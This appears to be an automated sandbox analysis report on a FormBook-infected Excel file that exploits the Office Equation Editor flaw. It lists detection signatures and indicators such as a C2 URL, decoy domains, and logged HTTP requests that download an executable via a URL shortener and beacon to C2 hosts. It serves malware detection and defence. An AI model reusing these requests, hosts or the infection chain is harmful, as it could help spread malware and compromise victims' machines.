Analysis Report QTN3C2AF414EDF9_041873.xlsx

Overview

General Information

Sample Name: QTN3C2AF414EDF9_041873.xlsx
Analysis ID: 356571
MD5: 1b862193e621b4d67be94a2ec44fbf50
SHA1: 0bab9195da974524c969404430f6a58b31303322
SHA256: 709ae19031f48115d89fb3aeae68476aac8b17a1e97700c6beff820b7c54b8aa
Tags: FormbookVelvetSweatshopxlsx

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Droppers Exploiting CVE-2017-11882
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
C2 URLs / IPs found in malware configuration
Connects to a URL shortener service
Drops PE files to the user root directory
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Office equation editor drops PE file
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Sigma detected: Executables Started in Suspicious Folder
Sigma detected: Execution in Non-Executable Folder
Sigma detected: Suspicious Program Location Process Starts
Tries to detect virtualization through RDTSC time measurements
Uses ipconfig to lookup or modify the Windows network settings
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Antivirus or Machine Learning detection for unpacked file
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Downloads executable code via HTTP
Drops PE files
Drops PE files to the user directory
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
PE file contains sections with non-standard names
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Sample execution stops while process was sleeping (likely an evasion)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection:

barindex
Found malware configuration
Source: 5.2.vbc.exe.400000.0.unpack Malware Configuration Extractor: FormBook {"C2 list": ["www.856380692.xyz/nsag/"], "decoy": ["usopencoverage.com", "5bo5j.com", "deliveryourvote.com", "bestbuycarpethd.com", "worldsourcecloud.com", "glowtheblog.com", "translations.tools", "ithacapella.com", "machinerysubway.com", "aashlokhospitals.com", "athara-kiano.com", "anabittencourt.com", "hakimkhawatmi.com", "fashionwatchesstore.com", "krishnagiri.info", "tencenttexts.com", "kodairo.com", "ouitum.club", "robertbeauford.net", "polling.asia", "evoslancete.com", "4676sabalkey.com", "chechadskeitaro.com", "babyhopeful.com", "11376.xyz", "oryanomer.com", "jyxxfy.com", "scanourworld.com", "thevistadrinksco.com", "meow-cafe.com", "xfixpros.com", "botaniquecouture.com", "bkhlep.xyz", "mauriciozarate.com", "icepolo.com", "siyezim.com", "myfeezinc.com", "nooshone.com", "wholesalerbargains.com", "winabeel.com", "frankfrango.com", "patientsbooking.info", "ineedahealer.com", "thefamilyorchard.net", "clericallyco.com", "overseaexpert.com", "bukaino.net", "womens-secrets.love", "skinjunkie.site", "dccheavydutydiv.net", "explorerthecity.com", "droneserviceshouston.com", "creationsbyjamie.com", "profirma-nachfolge.com", "oasisbracelet.com", "maurobenetti.com", "mecs.club", "mistressofherdivinity.com", "vooronsland.com", "navia.world", "commagx4.info", "caresring.com", "yourstrivingforexcellence.com", "alpinevalleytimeshares.com"]}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winlog[1] ReversingLabs: Detection: 36%
Source: C:\Users\Public\vbc.exe ReversingLabs: Detection: 36%
Multi AV Scanner detection for submitted file
Source: QTN3C2AF414EDF9_041873.xlsx Virustotal: Detection: 33% Perma Link
Source: QTN3C2AF414EDF9_041873.xlsx ReversingLabs: Detection: 25%
Yara detected FormBook
Source: Yara match File source: 00000005.00000001.2164030475.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2375588178.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2375705185.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2205793716.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2167067209.0000000002900000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2205774849.00000000003A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2375743991.00000000002B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2205709374.0000000000230000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 4.2.vbc.exe.2900000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.2900000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winlog[1] Joe Sandbox ML: detected
Source: C:\Users\Public\vbc.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 5.2.vbc.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 4.2.vbc.exe.2900000.8.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.1.vbc.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Compliance:

barindex
Uses new MSVCR Dlls
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Binary contains paths to debug symbols
Source: Binary string: ipconfig.pdb source: vbc.exe, 00000005.00000002.2205835901.00000000004F9000.00000004.00000020.sdmp
Source: Binary string: ipconfig.pdbN source: vbc.exe, 00000005.00000002.2205835901.00000000004F9000.00000004.00000020.sdmp
Source: Binary string: wntdll.pdb source: vbc.exe, ipconfig.exe
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405A15 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose, 4_2_00405A15
Source: C:\Users\Public\vbc.exe Code function: 4_2_004065C1 FindFirstFileA,FindClose, 4_2_004065C1
Source: C:\Users\Public\vbc.exe Code function: 4_2_004027A1 FindFirstFileA, 4_2_004027A1

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop esi 5_2_00415843
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop ebx 5_2_00406A95
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop edi 5_2_004162BB
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop edi 5_2_00415675
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop edi 5_1_004162BB
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop edi 5_1_00415675
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop esi 5_1_00415843
Source: C:\Users\Public\vbc.exe Code function: 4x nop then pop ebx 5_1_00406A95
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 4x nop then pop edi 7_2_000962BB
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 4x nop then pop edi 7_2_00095675
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 4x nop then pop esi 7_2_00095843
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 4x nop then pop ebx 7_2_00086A95
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: ow.ly
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 54.67.57.56:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 54.67.57.56:80

Networking:

barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.856380692.xyz/nsag/
Connects to a URL shortener service
Source: unknown DNS query: name: ow.ly
Source: unknown DNS query: name: ow.ly
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 23 Feb 2021 09:26:00 GMTServer: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.38Last-Modified: Tue, 23 Feb 2021 07:55:07 GMTETag: "35218-5bbfc3ca9d9e8"Accept-Ranges: bytesContent-Length: 217624Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 29 81 e9 50 47 d2 e9 50 47 d2 e9 50 47 d2 2a 5f 18 d2 eb 50 47 d2 e9 50 46 d2 49 50 47 d2 2a 5f 1a d2 e6 50 47 d2 bd 73 77 d2 e3 50 47 d2 2e 56 41 d2 e8 50 47 d2 52 69 63 68 e9 50 47 d2 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5f d7 24 5f 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 66 00 00 00 78 02 00 00 04 00 00 86 34 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 90 03 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 85 00 00 a0 00 00 00 00 80 03 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ad 65 00 00 00 10 00 00 00 66 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 80 13 00 00 00 80 00 00 00 14 00 00 00 6a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 55 02 00 00 a0 00 00 00 06 00 00 00 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 7c 09 00 00 00 80 03 00 00 0a 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /nsag/?SFN=S6to9wknRE4YQNZFkHgt/L/SBo+9VyFJxmA+r1dPkJtX1rvSVI6t0SymKIjP48fhKDCKWg==&cBb=LtD0g HTTP/1.1Host: www.fashionwatchesstore.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nsag/?SFN=1e70w6qoH0iHBmxDX27vpOpA5lfYuhHzBJ3+ZXyYbvrIHeDq+MUfY30bwUf90UJ6GkTmZw==&cBb=LtD0g HTTP/1.1Host: www.athara-kiano.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nsag/?SFN=toXeTgYrlJ3t8R2kv84tVNAusZG5KBfjoz4tCiNIzgm9lAElLlwfiIUD/nI/OmI1vpPL+Q==&cBb=LtD0g HTTP/1.1Host: www.overseaexpert.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 103.140.251.164 103.140.251.164
Source: Joe Sandbox View IP Address: 54.67.57.56 54.67.57.56
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: ASDETUKhttpwwwheficedcomGB ASDETUKhttpwwwheficedcomGB
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /omCE30rxT5x HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ow.lyConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /receipat/winlog.exe?platform=hootsuite HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: algreenstdykeghestqw.dns.army
Source: C:\Windows\explorer.exe Code function: 6_2_0293C302 getaddrinfo,setsockopt,recv, 6_2_0293C302
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E1722339.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /omCE30rxT5x HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ow.lyConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /receipat/winlog.exe?platform=hootsuite HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Connection: Keep-AliveHost: algreenstdykeghestqw.dns.army
Source: global traffic HTTP traffic detected: GET /nsag/?SFN=S6to9wknRE4YQNZFkHgt/L/SBo+9VyFJxmA+r1dPkJtX1rvSVI6t0SymKIjP48fhKDCKWg==&cBb=LtD0g HTTP/1.1Host: www.fashionwatchesstore.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nsag/?SFN=1e70w6qoH0iHBmxDX27vpOpA5lfYuhHzBJ3+ZXyYbvrIHeDq+MUfY30bwUf90UJ6GkTmZw==&cBb=LtD0g HTTP/1.1Host: www.athara-kiano.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nsag/?SFN=toXeTgYrlJ3t8R2kv84tVNAusZG5KBfjoz4tCiNIzgm9lAElLlwfiIUD/nI/OmI1vpPL+Q==&cBb=LtD0g HTTP/1.1Host: www.overseaexpert.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: <FavoriteIcon>http://www.facebook.com/favicon.ico</FavoriteIcon> equals www.facebook.com (Facebook)
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: <FavoriteIcon>http://www.myspace.com/favicon.ico</FavoriteIcon> equals www.myspace.com (Myspace)
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: <FavoriteIcon>http://www.rambler.ru/favicon.ico</FavoriteIcon> equals www.rambler.ru (Rambler)
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: <URL>http://www.facebook.com/</URL> equals www.facebook.com (Facebook)
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: <URL>http://www.rambler.ru/</URL> equals www.rambler.ru (Rambler)
Source: explorer.exe, 00000006.00000000.2182158267.0000000003C40000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: unknown DNS traffic detected: queries for: ow.ly
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 23 Feb 2021 09:27:26 GMTServer: ApacheX-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6e 73 61 67 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /nsag/ was not found on this server.</p></body></html>
Source: explorer.exe, 00000006.00000000.2195829313.000000000A330000.00000008.00000001.sdmp String found in binary or memory: http://%s.com
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://amazon.fr/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://ariadna.elmundo.es/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://ariadna.elmundo.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://arianna.libero.it/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://arianna.libero.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://asp.usatoday.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://asp.usatoday.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://auone.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2195829313.000000000A330000.00000008.00000001.sdmp String found in binary or memory: http://auto.search.msn.com/response.asp?MT=
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://br.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://browse.guardian.co.uk/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://browse.guardian.co.uk/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.buscape.com.br/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.buscape.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.estadao.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.igbusca.com.br/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.igbusca.com.br//app/static/images/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.orange.es/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.uol.com.br/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busca.uol.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscador.lycos.es/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscador.terra.com.br/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscador.terra.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscador.terra.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscador.terra.es/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscar.ozu.es/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://buscar.ya.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://busqueda.aol.com.mx/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://cerca.lycos.it/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://cgi.search.biglobe.ne.jp/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://cgi.search.biglobe.ne.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://clients5.google.com/complete/search?hl=
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://cnet.search.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://cnweb.search.live.com/results.aspx?q=
Source: vbc.exe, 00000004.00000002.2167128733.0000000002990000.00000002.00000001.sdmp, explorer.exe, 00000006.00000000.2183945867.0000000004B50000.00000002.00000001.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://corp.naukri.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://corp.naukri.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://de.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://es.ask.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://es.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://esearch.rakuten.co.jp/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://espanol.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://espn.go.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://find.joins.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://fr.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://google.pchome.com.tw/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://home.altervista.org/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://home.altervista.org/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://ie.search.yahoo.com/os?command=
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://ie8.ebay.com/open-search/output-xml.php?q=
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://image.excite.co.jp/jp/favicon/lep.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://images.joins.com/ui_c/fvc_joins.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://images.monster.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://img.atlas.cz/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://img.shopzilla.com/shopzilla/shopzilla.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://in.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2182158267.0000000003C40000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 00000006.00000000.2182158267.0000000003C40000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://it.search.dada.net/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://it.search.dada.net/favicon.ico
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://it.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2196232044.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://jobsearch.monster.com/
